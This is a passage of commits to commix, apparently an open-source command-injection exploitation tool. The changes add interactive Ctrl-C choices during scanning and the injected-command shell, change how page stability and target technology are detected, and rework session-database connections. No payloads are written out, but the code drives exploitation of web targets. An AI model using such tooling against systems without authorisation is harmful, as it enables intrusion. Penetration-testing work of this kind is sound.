[" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "] (" + str(code) + "):" settings.print_data_to_stdout(settings.print_response_msg(resp_msg)) if menu.options.traffic_file: @@ -109,12 +111,17 @@ def print_http_response(response_headers, code, page): http_response(response_headers, code) if settings.VERBOSITY_LEVEL >= 4 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 4: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + # Blank line separating response headers from the response body below. + settings.print_data_to_stdout("") try: http_response_content(page) except AttributeError: http_response_content(page.decode(settings.DEFAULT_CODEC)) + if settings.VERBOSITY_LEVEL >= 3: + # Blank line closing out this traffic block before whatever's printed next. + settings.print_data_to_stdout("") + """ Checking the HTTP Headers & HTTP/S Request. """ @@ -133,19 +140,26 @@ def check_http_traffic(request): class connection(http_client): def send(self, req): headers = req.decode() + # http.client sends headers and body as separate send() calls - a headers + # chunk always ends in a blank line, so that's where the body (printed on + # the next send() call) will visually start. + ends_with_blank_line = headers.endswith(settings.END_LINE.CRLF + settings.END_LINE.CRLF) request_http_headers = str(headers).split(settings.END_LINE.CRLF) unique_request_http_headers = [] [unique_request_http_headers.append(item) for item in request_http_headers if item not in unique_request_http_headers] request_http_headers = [x for x in unique_request_http_headers if x] - if settings.USER_DEFINED_POST_DATA and \ - len(request_http_headers) == 1 and \ - settings.VERBOSITY_LEVEL >= 2: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) for header in request_http_headers: if settings.VERBOSITY_LEVEL >= 2: settings.print_data_to_stdout(settings.print_traffic(header)) if menu.options.traffic_file: logs.log_traffic(settings.END_LINE.LF + header) + if ends_with_blank_line and settings.USER_DEFINED_POST_DATA and settings.VERBOSITY_LEVEL >= 2: + settings.print_data_to_stdout("") + # This is the body-only send() call (headers always end in a blank line, + # this doesn't). At verbosity 2, responses aren't printed to close out + # the block themselves, so do it here instead. + elif not ends_with_blank_line and settings.USER_DEFINED_POST_DATA and settings.VERBOSITY_LEVEL == 2: + settings.print_data_to_stdout("") http_client.send(self, req) class connection_handler(_urllib.request.HTTPSHandler, _urllib.request.HTTPHandler, object): diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 410c106ed4..802ad56886 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -17,6 +17,7 @@ import sys import time import socket +import difflib from socket import error as SocketError from src.utils import menu from os.path import splitext @@ -45,7 +46,7 @@ """ def is_url_content_stable(url, response=None, fetch_time=None): status = "stable" - debug_msg = "Testing if the target URL content remains consistent between requests." + debug_msg = "Checking if the target URL content is stable." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: if response is not None: @@ -75,7 +76,9 @@ def is_url_content_stable(url, response=None, fetch_time=None): second_response.close() if first_response_content != second_response_content: - status = "dynamic" + ratio = difflib.SequenceMatcher(None, first_response_content, second_response_content).ratio() + if ratio < settings.STABILITY_SIMILARITY_THRESHOLD: + status = "dynamic" except Exception: msg = "Unable to determine target URL content stability due to retrieval errors." @@ -753,8 +756,10 @@ def encoding_detection(response): try: # Read once content_bytes = response.read() + # A charset meta tag is always within the first 1024 bytes (same window + # browsers use for charset prescanning) - no need to decode/scan the rest. try: - content_text = content_bytes.decode("utf-8", errors="ignore") + content_text = content_bytes[:1024].decode("utf-8", errors="ignore") except (Exception, SystemExit): content_text = "" @@ -818,16 +823,23 @@ def encoding_detection(response): """ Identify the target application's type based on the URL extension. """ -def application_identification(url): +def application_identification(url, response=None): found_application_extension = False if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Detecting the type of target application based on URL and headers." + debug_msg = "Detecting the type of target application based on the URL extension." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) root, application_extension = splitext(_urllib.parse.urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() + # Extensionless URL - fall back to a header-based hint instead of giving up. + if not settings.TARGET_APPLICATION and response is not None: + x_powered_by = response.info().get(settings.X_POWERED_BY, "") + match = re.search(r"PHP|ASP\.NET|JSP", x_powered_by, re.IGNORECASE) + if match: + settings.TARGET_APPLICATION = match.group(0).upper() + if settings.TARGET_APPLICATION: found_application_extension = True @@ -902,13 +914,15 @@ def technology_identification(response): debug_msg = "Detecting the underlying technology or framework powering the target application." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - if x_powered_by: + if x_powered_by: + if settings.VERBOSITY_LEVEL != 0: debug_msg = "Target application technology detected as " + x_powered_by + "." settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) - check_os(x_powered_by) - else: - warn_msg = "Failed to identify the technology supporting the target application." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # Run regardless of verbosity - this is a real OS-detection fallback, not just a log line. + check_os(x_powered_by) + elif settings.VERBOSITY_LEVEL != 0: + warn_msg = "Failed to identify the technology supporting the target application." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) except Exception: if settings.VERBOSITY_LEVEL != 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index 98bc1d0ffb..86e0e43a0e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -296,7 +296,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "74" +REVISION = "75" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -554,6 +554,12 @@ class OS(object): # Max wait before re-checking page stability. STABILITY_CHECK_DELAY = 0.5 +# Below this similarity ratio, two page fetches count as "dynamic". +STABILITY_SIMILARITY_THRESHOLD = 0.98 + +# One-time "reflected value(s) found" notice already shown this run. +REFLECTIVE_VALUE_FOUND = False + RESPONSE_DELAYS = False # The testable parameter. From 3f1b2fdbfd5e5b0acea0ebd8659603067fae8587 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 18 Aug 2026 08:14:37 +0300 Subject: [PATCH 0732/1023] Added interactive Ctrl-C handling during detection and exploitation, allowing the scan to skip the current technique, parameter, or target instead of aborting --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 64 ++- src/core/injections/controller/controller.py | 41 +- src/core/injections/controller/handler.py | 135 ++++--- src/core/injections/controller/injector.py | 13 +- src/core/main.py | 10 + src/utils/session_handler.py | 390 ++++++++++--------- src/utils/settings.py | 16 +- 8 files changed, 405 insertions(+), 265 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 22f9f3af24..49f8b2d06c 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: Interactive Ctrl-C handling during detection and exploitation, allowing the scan to skip the current technique, parameter, or target instead of aborting. * Fixed: Multiple bug-fixes improving detection accuracy and reliability for results-based techniques. * Fixed: Improved timing-delay reliability and thread-safety for time-related techniques. * Revised: Improved redirect handling and connection performance. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 76ad9f921b..086554d010 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -383,12 +383,68 @@ def quit(filename, url, _): User aborted procedure """ def user_aborted(filename, url): + settings.clear_current_line() abort_msg = "User aborted procedure " abort_msg += "during the " + assessment_phase() abort_msg += " phase (Ctrl-C was pressed)." settings.print_data_to_stdout(settings.print_abort_msg(abort_msg)) raise exit() +""" +Ctrl-C during detection - ask how to proceed instead of aborting outright. +""" +def handle_detection_interrupt(filename, url): + settings.clear_current_line() + warn_msg = "User aborted during the detection phase (Ctrl-C was pressed)." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + if settings.MULTI_TARGETS: + msg = "How do you want to proceed? [ne(X)t target/(S)kip current technique/(e)nd detection phase/(n)ext parameter/(q)uit] > " + default = "X" + else: + msg = "How do you want to proceed? [(S)kip current technique/(e)nd detection phase/(n)ext parameter/(q)uit] > " + default = "S" + choice = common.read_input(msg, default=default, check_batch=True) + choice = (choice or default).strip().lower() + if choice == "x" and settings.MULTI_TARGETS: + raise settings.NextTargetException() + elif choice == "e": + raise settings.EndDetectionPhaseException() + elif choice == "n": + raise settings.NextParameterException() + elif choice == "q": + user_aborted(filename, url) + else: + # Anything else (including the default "s") - move on to the next technique. + raise settings.SkipTechniqueException() + +""" +Ctrl-C outside the per-test loop (heuristics, WAF check, identification) - +too coarse to resume one specific test, so just offer to move on or quit. +""" +def handle_early_interrupt(filename, url): + if not settings.MULTI_TARGETS: + user_aborted(filename, url) + settings.clear_current_line() + warn_msg = "User aborted during the detection phase (Ctrl-C was pressed)." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + msg = "How do you want to proceed? [ne(X)t target/(q)uit] > " + choice = common.read_input(msg, default="X", check_batch=True) + if (choice or "X").strip().lower() == "q": + user_aborted(filename, url) + +""" +Ctrl-C during exploitation (shell, calibration, enumeration) - a vulnerability +is already confirmed, so the only real choice is whether to keep going. +""" +def handle_exploitation_interrupt(filename, url): + settings.clear_current_line() + warn_msg = "User aborted during the exploitation phase (Ctrl-C was pressed)." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + msg = "How do you want to proceed? [(C)ontinue/(q)uit] > " + choice = common.read_input(msg, default="C", check_batch=True) + if (choice or "C").strip().lower() == "q": + user_aborted(filename, url) + """ Connection exceptions """ @@ -826,11 +882,11 @@ def captcha_check(page): Checking the reliability of the used payload message. """ def check_for_false_positive_result(false_positive_warning): - # Preserve completed progress lines; non-spinner output already ends the line. - info_msg = "Checking whether the identified injection point on " - info_msg += settings.CHECKING_PARAMETER + " is a false positive." + info_msg = "Identified a potential injection point on " + info_msg += settings.CHECKING_PARAMETER + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - info_msg = ("Verifying the identified injection point", "Verifying the identified injection point with a longer delay to rule out noise")[false_positive_warning] + info_msg = "Testing" + (", with a longer delay to rule out noise," if false_positive_warning else "") + info_msg += " if the injection point is a false positive" if settings.VERBOSITY_LEVEL != 0: info_msg = info_msg + "." + settings.END_LINE.LF else: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 9f7b133574..a71d51d28a 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -429,10 +429,21 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time menu.options.tech = "f" settings.START_SCANNING = True - classic_command_injection_technique(url, timesec, filename, http_request_method) - dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) - filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + end_detection = False + techniques = [ + lambda: classic_command_injection_technique(url, timesec, filename, http_request_method), + lambda: dynamic_code_evaluation_technique(url, timesec, filename, http_request_method), + lambda: timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response), + lambda: filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response), + ] + for run_technique in techniques: + try: + run_technique() + except settings.SkipTechniqueException: + continue + except settings.EndDetectionPhaseException: + end_detection = True + break # All injection techniques seems to be failed! if checks.injection_techniques_status() == False: @@ -443,7 +454,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.LOAD_SESSION: checks.quit(filename, url, _ = False) - if not settings.CHECK_BOTH_OS: + if not settings.CHECK_BOTH_OS or end_detection: break """ @@ -466,7 +477,13 @@ def inject_header(header_attr, option_attr, injection_flag_attr): new_url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) # If the header was replaced or injection failed, reset the injection flag - if check_parameter != header_name or not injection_proccess(new_url, check_parameter, http_request_method, filename, timesec): + reset_flag = check_parameter != header_name + if not reset_flag: + try: + reset_flag = not injection_proccess(new_url, check_parameter, http_request_method, filename, timesec) + except settings.NextParameterException: + reset_flag = True + if reset_flag: setattr(settings, injection_flag_attr, None) # Restore the original option value @@ -650,7 +667,10 @@ def injection_call(url, check_param): active_targets = check_parameters if check_param in active_targets or not filtered_testable_parameters(): - injection_call(url, check_param) + try: + injection_call(url, check_param) + except settings.NextParameterException: + continue """ Check if HTTP Method is GET. @@ -737,7 +757,10 @@ def custom_headers_checks(url, http_request_method, filename, timesec): settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(check_parameter) if check_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.CUSTOM_HEADER_VALUE = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1].replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) - if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + try: + if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.CUSTOM_HEADER_INJECTION = False + except settings.NextParameterException: settings.CUSTOM_HEADER_INJECTION = False settings.CUSTOM_HEADERS_NAMES[name] = checks.remove_tags(settings.CUSTOM_HEADERS_NAMES[name]) settings.CUSTOM_HEADER_INJECTION = False @@ -937,6 +960,6 @@ def do_check(url, http_request_method, filename): raise SystemExit() except KeyboardInterrupt: - checks.user_aborted(filename, url) + checks.handle_early_interrupt(filename, url) # eof \ No newline at end of file diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 4872d3c9c6..aa285be34a 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -94,52 +94,57 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, if not settings.READLINE_ERROR: checks.tab_autocompleter() settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) - cmd = common.read_input(message="", default="os_shell", check_batch=True) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - if cmd.lower() == "quit" or cmd.lower() == "exit": - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) - checks.quit(filename, url, _ = False) - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - time.sleep(timesec) - _stored_shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - _resuming = _stored_shell is not None and _stored_shell.startswith(settings.PARTIAL_VALUE_MARKER) - if menu.options.ignore_session or _stored_shell is None or _resuming: - # The main command injection exploitation. - if settings.TIME_RELATED_ATTACK: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + try: + cmd = common.read_input(message="", default="os_shell", check_batch=True) + cmd = checks.escaped_cmd(cmd) + if cmd.lower() in settings.SHELL_OPTIONS: + if cmd.lower() == "quit" or cmd.lower() == "exit": + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + checks.quit(filename, url, _ = False) + go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) + if go_back and go_back_again == False: + break + if go_back and go_back_again: + return True + else: + time.sleep(timesec) + _stored_shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + _resuming = _stored_shell is not None and _stored_shell.startswith(settings.PARTIAL_VALUE_MARKER) + if menu.options.ignore_session or _stored_shell is None or _resuming: + # The main command injection exploitation. + if settings.TIME_RELATED_ATTACK: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Export injection result + checks.time_related_export_injection_results(cmd, separator, shell, check_exec_time) else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) - # Export injection result - checks.time_related_export_injection_results(cmd, separator, shell, check_exec_time) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Command execution results. + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + # Update logs with executed cmds and execution results. + logs.executed_command(filename, cmd, shell) + if not menu.options.ignore_session: + session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) - else: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) - # Command execution results. - shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - if not menu.options.ignore_session: - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = _stored_shell - if shell or shell != "": - settings.print_data_to_stdout(settings.command_execution_output(shell)) + shell = _stored_shell + if shell: + settings.print_data_to_stdout(settings.command_execution_output(shell)) + + else: + err_msg = common.invalid_cmd_output(cmd) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + except KeyboardInterrupt: + # Resume right back at the shell prompt - no need to re-ask to spawn one. + checks.handle_exploitation_interrupt(filename, url) + continue - else: - err_msg = common.invalid_cmd_output(cmd) - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break @@ -158,7 +163,14 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, common.invalid_option(gotshell) pass - except (KeyboardInterrupt, SystemExit): + except KeyboardInterrupt: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + checks.handle_exploitation_interrupt(filename, url) + # Continue chosen - re-enter the shell fresh. + return pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) + + except SystemExit: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) settings.print_data_to_stdout(settings.END_LINE.CR) @@ -186,7 +198,6 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti num_of_chars = 1 vp_flag = True no_result = True - is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False @@ -367,7 +378,6 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti percent = settings.info_msg else: percent = "" - #break else: break # False positive @@ -384,7 +394,13 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti checks.injection_process(injection_type, technique, percent) continue - except (KeyboardInterrupt, SystemExit): + except KeyboardInterrupt: + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + # Always raises - propagates out to controller.injection_proccess(). + checks.handle_detection_interrupt(filename, url) + + except SystemExit: if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) raise @@ -395,7 +411,7 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) raise - except (Exception, SystemExit): + except Exception: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if str(float_percent) == "100.0": @@ -458,9 +474,6 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec vp_flag = True exit_loops = False no_result = True - is_encoded = False - stop_injection = False - next_attack_vector = False export_injection_info = False if technique == settings.INJECTION_TECHNIQUE.CLASSIC: @@ -600,8 +613,8 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec shell = re.findall(r"" + TAG + "", str(html_data)) if len(shell) == 0 : raise _urllib.error.HTTPError(url, int(settings.NOT_FOUND_ERROR), 'Error', {}, None) - else: - if shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0: + else: + if shell[0] == TAG and settings.VERBOSITY_LEVEL == 0: percent = settings.info_msg checks.injection_process(injection_type, technique, percent) @@ -639,12 +652,20 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) checks.quit(filename, url, _ = False) - except (KeyboardInterrupt, SystemExit): + except KeyboardInterrupt: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: # Delete previous shell (text) files (output) if 'vuln_parameter' in locals(): delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) - raise + else: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + # Always raises; let injection_proccess() handle the skip/end/next/quit action. + checks.handle_detection_interrupt(filename, url) + + except SystemExit: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + if 'vuln_parameter' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) else: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise @@ -667,8 +688,8 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec except EOFError: checks.EOFError_err_msg() raise - - except (Exception, SystemExit): + + except Exception: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: raise else: diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 60bd174cff..0994dc7e4c 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -128,11 +128,14 @@ def _probe(): # Sample with the same concurrency as extraction; a serial baseline underestimates response time. fan_out = settings.THREADS if (settings.THREADS > 1 and _THREADS_SUPPORTED) else 1 while len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES: - if fan_out > 1: - with concurrent.futures.ThreadPoolExecutor(max_workers=fan_out) as executor: - concurrent.futures.wait([executor.submit(_probe) for _ in range(fan_out)]) - else: - _probe() + try: + if fan_out > 1: + with concurrent.futures.ThreadPoolExecutor(max_workers=fan_out) as executor: + concurrent.futures.wait([executor.submit(_probe) for _ in range(fan_out)]) + else: + _probe() + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(" (done)") diff --git a/src/core/main.py b/src/core/main.py index a7585996bd..88ab9ded02 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -647,6 +647,12 @@ def main(filename, url, http_request_method): if any((settings.REVERSE_TCP, settings.BIND_TCP)): raise SystemExit() + # Ctrl-C before controller.do_check() even starts (rare - do_check() has + # its own handling for everything inside it). + except KeyboardInterrupt: + checks.handle_early_interrupt(filename, url) + return + try: filename = "" @@ -1146,6 +1152,8 @@ def main(filename, url, http_request_method): if response != False: filename = logs.logs_filename_creation(form_url) main(filename, form_url, settings.HTTPMETHOD.POST) + except KeyboardInterrupt: + checks.handle_early_interrupt(filename, form_url) except (Exception, SystemExit): pass menu.options.data = orig_data @@ -1217,6 +1225,8 @@ def main(filename, url, http_request_method): if response != False: filename = logs.logs_filename_creation(url) main(filename, url, http_request_method) + except KeyboardInterrupt: + checks.handle_early_interrupt(filename, url) except (Exception, SystemExit): pass else: diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 707b7f1b87..55e862d466 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -19,6 +19,7 @@ import base64 import sqlite3 import hashlib +import contextlib from src.utils import menu from src.utils import settings from src.utils import common @@ -27,6 +28,27 @@ from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init +""" +Open the session DB and always close it; retry transient open failures. +""" +@contextlib.contextmanager +def _session_connection(): + conn = None + last_err = None + for attempt in range(5): + try: + conn = sqlite3.connect(settings.SESSION_FILE, timeout=10) + break + except sqlite3.OperationalError as err: + last_err = err + time.sleep(0.3 * (attempt + 1)) + if conn is None: + raise last_err + try: + yield conn + finally: + conn.close() + """ Split the URL and return only the base part without any query parameters. """ @@ -106,12 +128,11 @@ def flush(url): debug_msg = "Flushing the stored session from the session file." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: - conn = sqlite3.connect(settings.SESSION_FILE) - tables = [row[0] for row in conn.execute("SELECT name FROM sqlite_master WHERE type='table'")] - for table in tables: - conn.execute("DROP TABLE IF EXISTS " + table) - conn.commit() - conn.close() + with _session_connection() as conn: + tables = [row[0] for row in conn.execute("SELECT name FROM sqlite_master WHERE type='table'")] + for table in tables: + conn.execute("DROP TABLE IF EXISTS " + table) + conn.commit() except (sqlite3.OperationalError, sqlite3.DatabaseError) as err_msg: err_msg = "Unable to flush the session file. " + str(err_msg) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) @@ -127,35 +148,32 @@ def flush(url): """ def clear(url): try: - conn = sqlite3.connect(settings.SESSION_FILE) - table = table_name(url) + "_ip" + with _session_connection() as conn: + table = table_name(url) + "_ip" + + # Nothing to clear if the table hasn't been created yet. + if conn.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)).fetchone() is None: + return + + # Query to get the smallest (earliest) id for each unique combination of url and technique + query = "SELECT MIN(id) FROM \"" + table + "\" GROUP BY url, technique;" + cursor = conn.execute(query) + + # Collect the ids to keep as strings + earliest_ids = [str(row[0]) for row in cursor.fetchall()] + + # If no records found, nothing more to do + if not earliest_ids: + return + + # Create a comma-separated string of ids to keep + ids_to_keep = ",".join(earliest_ids) + + # Delete all records that do NOT have an id in the earliest_ids list + delete_query = "DELETE FROM \"" + table + "\" WHERE id NOT IN (" + ids_to_keep + ");" + conn.execute(delete_query) + conn.commit() - # Nothing to clear if the table hasn't been created yet. - if conn.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)).fetchone() is None: - conn.close() - return - - # Query to get the smallest (earliest) id for each unique combination of url and technique - query = "SELECT MIN(id) FROM \"" + table + "\" GROUP BY url, technique;" - cursor = conn.execute(query) - - # Collect the ids to keep as strings - earliest_ids = [str(row[0]) for row in cursor.fetchall()] - - # If no records found, close connection and return - if not earliest_ids: - conn.close() - return - - # Create a comma-separated string of ids to keep - ids_to_keep = ",".join(earliest_ids) - - # Delete all records that do NOT have an id in the earliest_ids list - delete_query = "DELETE FROM \"" + table + "\" WHERE id NOT IN (" + ids_to_keep + ");" - conn.execute(delete_query) - conn.commit() - conn.close() - except sqlite3.OperationalError as err_msg: # Log SQLite operational errors critically settings.print_data_to_stdout(settings.print_critical_msg("SQLite error: " + str(err_msg))) @@ -170,43 +188,42 @@ def clear(url): def import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): try: - conn = sqlite3.connect(settings.SESSION_FILE) - table = table_name(url) + "_ip" - - # Create the table if it does not exist - conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" " - "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR, " - "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, " - "TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, " - "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR, tamper VARCHAR);") - - # Check if an exact matching record already exists to avoid duplicates - query_check = ("SELECT 1 FROM \"" + table + "\" WHERE url = ? AND technique = ? AND injection_type = ? AND separator = ? AND " - "shell = ? AND vuln_parameter = ? AND prefix = ? AND suffix = ? AND TAG = ? AND alter_shell = ? AND payload = ? AND " - "http_header = ? AND 